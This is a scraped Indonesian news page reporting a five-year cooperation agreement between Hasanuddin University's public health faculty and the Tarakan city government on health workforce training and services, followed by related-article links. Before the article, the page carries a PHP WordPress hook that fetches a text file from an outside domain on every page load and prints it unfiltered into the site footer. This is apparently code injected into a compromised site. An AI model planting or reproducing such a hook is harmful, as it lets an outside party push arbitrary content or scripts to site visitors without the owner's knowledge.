function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Penandatanganan Kerjasama Strategis FKM Unhas dengan Pemerintah Kota Tarakan untuk Pengembangan SDM dan Peningkatan Pelayanan Kesehatan - Suluh Nusantara

Home / Uncategorized

Rabu, 17 September 2025 - 17:43 WIB

Penandatanganan Kerjasama Strategis FKM Unhas dengan Pemerintah Kota Tarakan untuk Pengembangan SDM dan Peningkatan Pelayanan Kesehatan

Makassar, 17 September 2025 – Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) resmi menjalin kerjasama dengan Pemerintah Kota Tarakan dalam upaya peningkatan kualitas pendidikan, pelayanan kesehatan, penelitian, dan pengabdian masyarakat di Tarakan. Penandatanganan Perjanjian Kerja Sama ini berlangsung hari ini di Makassar, dan dihadiri oleh perwakilan kedua belah pihak. Kerjasama ini bertujuan untuk meningkatkan derajat kesehatan masyarakat Kota Tarakan melalui pengembangan sumber daya manusia (SDM) serta peningkatan kualitas fasilitas pelayanan kesehatan.

Dekan FKM Unhas, Prof. Sukri Palutturi, S,KM., M.Kes., MSc.PH., Ph.D menyambut baik kesempatan berharga ini. “Dalam pengembangan SDM, FKM Unhas memiliki capaian akreditasi unggul 100% untuk seluruh program studi. Oleh karena itu, staf di Kota Tarakan memiliki peluang untuk melanjutkan studi S2 atau S3 di FKM Unhas sesuai dengan kebutuhan mereka. Kami juga membuka kelas khusus dalam kerjasama ini yang kami sebut kelas afirmasi, dengan metode pembelajaran yang fleksibel menggunakan sistem blocking,” ujar Prof. Sukri.

Esensi dari kerja sama ini mencakup :

  1. Maksud dan tujuan kerja sama ini adalah meningkatkan derajat kesehatan masyarakat Kota Tarakan melalui pendidikan lanjutan, penelitian, dan pengabdian masyarakat.
  2. Ruang lingkup mencakup pengembangan kompetensi SDM melalui pendidikan, pelatihan, magang, kuliah tamu, seminar, dan lain-lain; peningkatan akses dan kualitas pelayanan kesehatan di Tarakan; penelitian dan penyusunan kebijakan kesehatan; serta kegiatan lain yang disepakat.
  3. Pelaksanaan teknis akan diatur lebih lanjut berdasarkan rencana aksi bersama dengan perwakilan dari kedua pihak.
  4. Hak dan kewajiban masing-masing pihak diatur, termasuk kewajiban melaporkan kegiatan dan mengikuti peraturan yang berlaku.
  5. Pembiayaan kegiatan menjadi tanggung jawab bersama dengan mekanisme pembayaran disepakati.
  6. Jangka waktu perjanjian adalah 5 tahun dan dapat diperpanjang atau diubah berdasarkan kesepakatan.
  7. Perjanjian ini mengacu pada berbagai undang-undang dan peraturan terkait pendidikan tinggi, pelayanan kesehatan, dan pemerintahan daerah.
Baca Juga  Generasi Cerdas, Masa Depan Berkualitas: Siswa SMAS Babussalam DDI Kassi Dibekali Pemahaman Terkait Pernikahan Dini

Dokumen ini menjadi dasar formal kolaborasi antara FKM Unhas dan Pemerintah Kota Tarakan untuk bersama-sama meningkatkan layanan pendidikan dan kesehatan di Kota Tarakan serta pengembangan SDM melalui program-program akademik dan pengabdian masyarakat. Penyesuaian metode pembelajaran akan sangat mendukung kebutuhan pegawai dan pemangku kepentingan di Tarakan agar dapat meningkatkan kompetensi sekaligus tetap menjalankan tugas sehari-hari. Dengan penandatanganan ini, diharapkan sinergi antara institusi pendidikan tinggi dan pemerintah daerah dapat memberikan kontribusi nyata dalam pembangunan kesehatan daerah dan peningkatan kapasitas SDM kesehatan di Tarakan.

Baca Juga  Departemen Ilmu Gizi FKM Unhas Gandeng UNICEF-Jenewa Adakan Seminar dalam Rangka Peringatan Hari Obesitas Sedunia

Penandatanganan Kerjasama ini sangat relevan dengan dua tujuan utama Sustainable Development Goals (SDGs), yaitu Tujuan 3 dan Tujuan 8. Tujuan 3 berfokus pada memastikan kehidupan yang sehat dan mempromosikan kesejahteraan bagi semua usia, yang tercapai melalui peningkatan akses dan kualitas layanan kesehatan serta penguatan kompetensi tenaga kesehatan, seperti yang didukung oleh kerjasama ini. Sementara itu, Tujuan 8 menekankan pada pertumbuhan ekonomi yang inklusif dan pekerjaan yang layak, yang dapat diwujudkan melalui pengembangan SDM berkualitas di sektor kesehatan, membuka peluang pendidikan tinggi seperti S2 dan S3 bagi pegawai pemerintah daerah, serta memajukan riset dan inovasi kesehatan yang berkelanjutan.

Share :

Baca Juga

Uncategorized

Mahasiswa Magang Promosi Kesehatan Unhas Ikut Berpartisipasi dalam Pemeriksaan Kesehatan Dasar di Kegiatan Sabtu Bersih Bersama PJ Walikota Makassar di Puskesmas Bara-Baraya

Uncategorized

Posko 14 PBL II FKM Unhas Gelar Edukasi Faktor Risiko Stunting bagi Wanita Usia Subur di Desa Tombo-Tombolo, Jeneponto

Uncategorized

Forma Kesmas Unhas Gelar Pelatihan KAP

Uncategorized

Mahasiswa PBL II FKM Unhas Melaksanakan Edukasi dan Pembagian Kalender Tablet Tambah Darah (TTD) Sebagai Perwujudan SDGs 3 di Desa Bontomanai

Uncategorized

HPSMI Sulawesi Selatan Siap Bersinergi Wujudkan Swasembada Pangan Lewat Rakerwil 2025

Uncategorized

Posko 24 PBL FKM UNHAS Distribusikan Buku Saku: Perkuat Peran Kader Posyandu dalam Pencegahan Stunting di Desa Bontojai

Uncategorized

ECOBRICK FOR CHANGE : EDUKASI PENGELOLAAN SAMPAH DENGAN PEMANFAATAN ECOBRICK PADA PEMERINTAH DAN MASYARAKAT SETEMPAT

Uncategorized

Lingkungan Bersih, Kita Sehat: Edukasi Penanganan Sampah di UPT SDN 5 Bangkala, Desa Bontomanai, Kabupaten Jeneponto